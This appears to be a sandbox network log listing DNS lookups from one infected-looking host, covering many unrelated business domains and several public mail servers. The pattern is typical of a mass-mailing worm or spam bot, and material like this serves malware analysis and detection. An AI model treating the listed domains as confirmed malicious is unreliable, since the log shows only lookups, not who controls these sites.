May 31, 2023 14:50:29.673907042 CEST	192.168.2.3	8.8.8.8	0x4c94	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.855499983 CEST	192.168.2.3	8.8.8.8	0x9792	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.146276951 CEST	192.168.2.3	8.8.8.8	0x5bc3	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.198314905 CEST	192.168.2.3	8.8.8.8	0x5191	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.210545063 CEST	192.168.2.3	8.8.8.8	0xf609	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.213753939 CEST	192.168.2.3	8.8.8.8	0x2afe	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.626832962 CEST	192.168.2.3	8.8.8.8	0xad3d	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.628901958 CEST	192.168.2.3	8.8.8.8	0xbfa1	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.632200956 CEST	192.168.2.3	8.8.8.8	0xcdbc	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.635576010 CEST	192.168.2.3	8.8.8.8	0x64e9	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.920386076 CEST	192.168.2.3	8.8.8.8	0xd91e	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.925317049 CEST	192.168.2.3	8.8.8.8	0xd2bd	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.925981045 CEST	192.168.2.3	8.8.8.8	0x22cc	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.386889935 CEST	192.168.2.3	8.8.8.8	0xe5aa	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.389215946 CEST	192.168.2.3	8.8.8.8	0xc70f	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.389694929 CEST	192.168.2.3	8.8.8.8	0x4f95	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.397166967 CEST	192.168.2.3	8.8.8.8	0x81b4	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.403044939 CEST	192.168.2.3	8.8.8.8	0x199	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.491714001 CEST	192.168.2.3	8.8.8.8	0xa2af	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.822033882 CEST	192.168.2.3	8.8.8.8	0xf8f2	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.143333912 CEST	192.168.2.3	8.8.8.8	0x765c	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.148139000 CEST	192.168.2.3	8.8.8.8	0x5764	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.152865887 CEST	192.168.2.3	8.8.8.8	0xabad	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.297791004 CEST	192.168.2.3	8.8.8.8	0x22e9	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.392293930 CEST	192.168.2.3	8.8.8.8	0x4265	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.698306084 CEST	192.168.2.3	8.8.8.8	0xc9e3	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.719206095 CEST	192.168.2.3	8.8.8.8	0x71c4	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.728791952 CEST	192.168.2.3	8.8.8.8	0x78ed	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:33.158080101 CEST	192.168.2.3	8.8.8.8	0x2fb7	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:33.791172028 CEST	192.168.2.3	8.8.8.8	0x98b8	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.045589924 CEST	192.168.2.3	8.8.8.8	0x96df	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.355151892 CEST	192.168.2.3	8.8.8.8	0x5081	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.757646084 CEST	192.168.2.3	8.8.8.8	0xf4c5	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.992324114 CEST	192.168.2.3	8.8.8.8	0x6f43	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:36.982552052 CEST	192.168.2.3	8.8.8.8	0x3f2f	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:38.171852112 CEST	192.168.2.3	8.8.8.8	0x95b6	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:38.918559074 CEST	192.168.2.3	8.8.8.8	0x54b2	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.228307009 CEST	192.168.2.3	8.8.8.8	0x685	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.240432978 CEST	192.168.2.3	8.8.8.8	0xd1ab	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:41.752713919 CEST	192.168.2.3	8.8.8.8	0xe88f	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:41.758013964 CEST	192.168.2.3	8.8.8.8	0x5f7a	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.023483038 CEST	192.168.2.3	8.8.8.8	0xc6ef	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.480413914 CEST	192.168.2.3	8.8.8.8	0x1358	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.953727961 CEST	192.168.2.3	8.8.8.8	0xc	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.194602966 CEST	192.168.2.3	8.8.8.8	0x637a	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.644560099 CEST	192.168.2.3	8.8.8.8	0x9848	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.747481108 CEST	192.168.2.3	8.8.8.8	0xc97	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:45.253500938 CEST	192.168.2.3	8.8.8.8	0xbd26	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:45.851031065 CEST	192.168.2.3	8.8.8.8	0xc35c	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.070903063 CEST	192.168.2.3	8.8.8.8	0x46db	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.292633057 CEST	192.168.2.3	8.8.8.8	0xe7a4	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.450544119 CEST	192.168.2.3	8.8.8.8	0xed4f	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.915916920 CEST	192.168.2.3	8.8.8.8	0x8b45	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:47.733381033 CEST	192.168.2.3	8.8.8.8	0x7322	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.186712027 CEST	192.168.2.3	8.8.8.8	0x48e5	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.388163090 CEST	192.168.2.3	8.8.8.8	0x6a96	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.604548931 CEST	192.168.2.3	8.8.8.8	0xc841	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.113831043 CEST	192.168.2.3	8.8.8.8	0x349b	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.215008974 CEST	192.168.2.3	8.8.8.8	0x50e1	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.388123989 CEST	192.168.2.3	8.8.8.8	0xdfb5	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:49.530364037 CEST	192.168.2.3	8.8.8.8	0x89ba	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.109936953 CEST	192.168.2.3	8.8.8.8	0xf1fb	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.252321959 CEST	192.168.2.3	8.8.8.8	0x3b12	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.256403923 CEST	192.168.2.3	8.8.8.8	0xeb9a	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.257339001 CEST	192.168.2.3	8.8.8.8	0x7b67	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.772248983 CEST	192.168.2.3	8.8.8.8	0x17c0	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.790460110 CEST	192.168.2.3	8.8.8.8	0xe0d6	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:50.947546959 CEST	192.168.2.3	8.8.8.8	0x4a57	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.688303947 CEST	192.168.2.3	8.8.8.8	0xceb8	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.827905893 CEST	192.168.2.3	8.8.8.8	0x27a8	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:51.974879980 CEST	192.168.2.3	8.8.8.8	0xfb70	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.376405954 CEST	192.168.2.3	8.8.8.8	0x7b46	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.407764912 CEST	192.168.2.3	8.8.8.8	0x8087	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:52.711790085 CEST	192.168.2.3	8.8.8.8	0x68fe	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.149555922 CEST	192.168.2.3	8.8.8.8	0x2e8b	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.454067945 CEST	192.168.2.3	8.8.8.8	0x32d8	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.469254971 CEST	192.168.2.3	8.8.8.8	0xe664	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:53.669038057 CEST	192.168.2.3	8.8.8.8	0xc946	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:54.228635073 CEST	192.168.2.3	8.8.8.8	0xbd28	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:54.313420057 CEST	192.168.2.3	8.8.8.8	0x1f64	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:54.970500946 CEST	192.168.2.3	8.8.8.8	0xf79b	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:54.970500946 CEST	192.168.2.3	8.8.8.8	0xc2	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:55.832520008 CEST	192.168.2.3	8.8.8.8	0x4e85	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:56.008150101 CEST	192.168.2.3	8.8.8.8	0xc2	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:56.297317982 CEST	192.168.2.3	8.8.8.8	0xee26	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:57.827933073 CEST	192.168.2.3	8.8.8.8	0x50fb	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:59.195434093 CEST	192.168.2.3	8.8.8.8	0xa395	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:59.392257929 CEST	192.168.2.3	8.8.8.8	0xca24	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:01.004302979 CEST	192.168.2.3	8.8.8.8	0x2f8f	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:02.141287088 CEST	192.168.2.3	8.8.8.8	0xf735	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:02.451348066 CEST	192.168.2.3	8.8.8.8	0xde79	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.016678095 CEST	192.168.2.3	8.8.8.8	0xa387	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.176868916 CEST	192.168.2.3	8.8.8.8	0x9497	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.486076117 CEST	192.168.2.3	8.8.8.8	0x99d	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:03.705878973 CEST	192.168.2.3	8.8.8.8	0x838c	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:04.087718964 CEST	192.168.2.3	8.8.8.8	0x5330	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:06.520827055 CEST	192.168.2.3	8.8.8.8	0x7e7f	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:06.867341042 CEST	192.168.2.3	8.8.8.8	0x7186	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:07.003691912 CEST	192.168.2.3	8.8.8.8	0x4fa3	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:07.009238958 CEST	192.168.2.3	8.8.8.8	0x298a	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:08.663762093 CEST	192.168.2.3	8.8.8.8	0xbb4c	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:10.103456974 CEST	192.168.2.3	8.8.8.8	0xb145	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:11.319314003 CEST	192.168.2.3	8.8.8.8	0x1ee4	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:11.648365021 CEST	192.168.2.3	8.8.8.8	0x4838	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:12.012698889 CEST	192.168.2.3	8.8.8.8	0x99a	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:12.955061913 CEST	192.168.2.3	8.8.8.8	0xe561	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:12.997999907 CEST	192.168.2.3	8.8.8.8	0xa3f2	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:13.070743084 CEST	192.168.2.3	8.8.8.8	0x374b	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.345467091 CEST	192.168.2.3	8.8.8.8	0xa84c	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.683128119 CEST	192.168.2.3	8.8.8.8	0xe99	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.801218987 CEST	192.168.2.3	8.8.8.8	0xe440	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:14.802443027 CEST	192.168.2.3	8.8.8.8	0x542e	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.302018881 CEST	192.168.2.3	8.8.8.8	0x5ffa	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.518616915 CEST	192.168.2.3	8.8.8.8	0xd947	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.532334089 CEST	192.168.2.3	8.8.8.8	0xe736	Standard query (0)	www.spanesi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.770517111 CEST	192.168.2.3	8.8.8.8	0xd577	Standard query (0)	www.tc17.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:15.831645966 CEST	192.168.2.3	8.8.8.8	0x3420	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:17.088133097 CEST	192.168.2.3	8.8.8.8	0xb893	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:18.333393097 CEST	192.168.2.3	8.8.8.8	0x33d0	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:18.841242075 CEST	192.168.2.3	8.8.8.8	0xf6c3	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:19.713373899 CEST	192.168.2.3	8.8.8.8	0x2098	Standard query (0)	smtp.mail.yahoo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.259859085 CEST	192.168.2.3	8.8.8.8	0x8589	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.570816040 CEST	192.168.2.3	8.8.8.8	0xdb1a	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.573874950 CEST	192.168.2.3	8.8.8.8	0xb89a	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.575571060 CEST	192.168.2.3	8.8.8.8	0xf4af	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:20.576836109 CEST	192.168.2.3	8.8.8.8	0x186a	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:22.275948048 CEST	192.168.2.3	8.8.8.8	0xfc68	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:23.374176025 CEST	192.168.2.3	8.8.8.8	0x4811	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.756079912 CEST	192.168.2.3	8.8.8.8	0x9b35	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.756176949 CEST	192.168.2.3	8.8.8.8	0xf057	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.757137060 CEST	192.168.2.3	8.8.8.8	0x8e03	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.781517982 CEST	192.168.2.3	8.8.8.8	0xed74	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.790605068 CEST	192.168.2.3	8.8.8.8	0x8047	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.802618027 CEST	192.168.2.3	8.8.8.8	0x2c11	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.805416107 CEST	192.168.2.3	8.8.8.8	0x982	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.815429926 CEST	192.168.2.3	8.8.8.8	0xc664	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.850752115 CEST	192.168.2.3	8.8.8.8	0x563e	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.939698935 CEST	192.168.2.3	8.8.8.8	0x1086	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:24.999564886 CEST	192.168.2.3	8.8.8.8	0x450c	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.011919975 CEST	192.168.2.3	8.8.8.8	0xf4b8	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.116653919 CEST	192.168.2.3	8.8.8.8	0x8386	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.150644064 CEST	192.168.2.3	8.8.8.8	0xfad3	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.150644064 CEST	192.168.2.3	8.8.8.8	0x67d1	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.177669048 CEST	192.168.2.3	8.8.8.8	0x328f	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.178648949 CEST	192.168.2.3	8.8.8.8	0x7e4f	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.179410934 CEST	192.168.2.3	8.8.8.8	0xfc5	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.196829081 CEST	192.168.2.3	8.8.8.8	0xbef1	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.205312014 CEST	192.168.2.3	8.8.8.8	0x1b2b	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.216418028 CEST	192.168.2.3	8.8.8.8	0x9b45	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.241858006 CEST	192.168.2.3	8.8.8.8	0x8841	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.266436100 CEST	192.168.2.3	8.8.8.8	0xede6	Standard query (0)	in1.smtp.messagingengine.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.285276890 CEST	192.168.2.3	8.8.8.8	0x4284	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.286645889 CEST	192.168.2.3	8.8.8.8	0x6b5a	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.311945915 CEST	192.168.2.3	8.8.8.8	0x4305	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.316699028 CEST	192.168.2.3	8.8.8.8	0x5478	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.318561077 CEST	192.168.2.3	8.8.8.8	0x7307	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.319480896 CEST	192.168.2.3	8.8.8.8	0x9cbf	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.319904089 CEST	192.168.2.3	8.8.8.8	0xe009	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.341325045 CEST	192.168.2.3	8.8.8.8	0x63d	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.375837088 CEST	192.168.2.3	8.8.8.8	0x7b17	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.413311005 CEST	192.168.2.3	8.8.8.8	0xbc16	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.415849924 CEST	192.168.2.3	8.8.8.8	0x101f	Standard query (0)	mail7.digitalwaves.co.nz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.418874979 CEST	192.168.2.3	8.8.8.8	0x9bf1	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.424103022 CEST	192.168.2.3	8.8.8.8	0x118f	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.527273893 CEST	192.168.2.3	8.8.8.8	0x7263	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.538958073 CEST	192.168.2.3	8.8.8.8	0x3851	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.548217058 CEST	192.168.2.3	8.8.8.8	0x6236	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.599581957 CEST	192.168.2.3	8.8.8.8	0x3e6e	Standard query (0)	burstner.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.699246883 CEST	192.168.2.3	8.8.8.8	0xf0be	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.725614071 CEST	192.168.2.3	8.8.8.8	0xd235	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.734227896 CEST	192.168.2.3	8.8.8.8	0x114a	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.819809914 CEST	192.168.2.3	8.8.8.8	0x1b4d	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.824697971 CEST	192.168.2.3	8.8.8.8	0xf4f4	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.928524971 CEST	192.168.2.3	8.8.8.8	0x78e9	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.930720091 CEST	192.168.2.3	8.8.8.8	0xeddb	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.947767019 CEST	192.168.2.3	8.8.8.8	0xd03a	Standard query (0)	603888.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.976372957 CEST	192.168.2.3	8.8.8.8	0xe442	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.977719069 CEST	192.168.2.3	8.8.8.8	0xd7b7	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:25.979441881 CEST	192.168.2.3	8.8.8.8	0x60f4	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.083201885 CEST	192.168.2.3	8.8.8.8	0xe9f7	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.129470110 CEST	192.168.2.3	8.8.8.8	0x8802	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.193435907 CEST	192.168.2.3	8.8.8.8	0x7ecf	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.310841084 CEST	192.168.2.3	8.8.8.8	0x6a44	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.400408983 CEST	192.168.2.3	8.8.8.8	0x324d	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.480649948 CEST	192.168.2.3	8.8.8.8	0x9bf1	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.496833086 CEST	192.168.2.3	8.8.8.8	0xfd3	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.496959925 CEST	192.168.2.3	8.8.8.8	0x3a79	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.497394085 CEST	192.168.2.3	8.8.8.8	0xcf4a	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.508431911 CEST	192.168.2.3	8.8.8.8	0x4ad2	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.517630100 CEST	192.168.2.3	8.8.8.8	0x6dd2	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.527579069 CEST	192.168.2.3	8.8.8.8	0xff78	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
